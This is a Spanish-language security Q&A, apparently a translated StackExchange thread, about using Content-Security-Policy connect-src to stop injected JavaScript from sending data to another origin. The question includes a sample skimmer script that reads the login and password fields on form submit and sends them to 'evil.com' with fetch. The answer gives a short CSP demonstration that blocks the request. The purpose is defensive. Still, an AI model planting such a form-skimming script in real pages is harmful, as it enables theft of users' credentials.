Impedir la escritura de origen cruzado de javascript

0

Supongamos que un atacante logra inyectar este script en una página de inicio de sesión:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);
}

¿Es posible prevenir la solicitud? La misma política de origen no parece admitir dicha restricción.

¿Quizás una lista blanca similar a la de la Política de seguridad de contenido?

    
pregunta Theophany 21.12.2018 - 15:05
fuente

1 respuesta

1

El Content-Security-Policy connect-src fetch al que se pueden enviar las solicitudes.

Aquí hay una prueba mínima de concepto:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">
</head>
<body>
  <script>fetch('https://evil.com');</script>
</body>
</html>

El código anterior muestra la siguiente advertencia:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.
    
respondido por el EdOverflow 21.12.2018 - 15:20
fuente

Lea otras preguntas en las etiquetas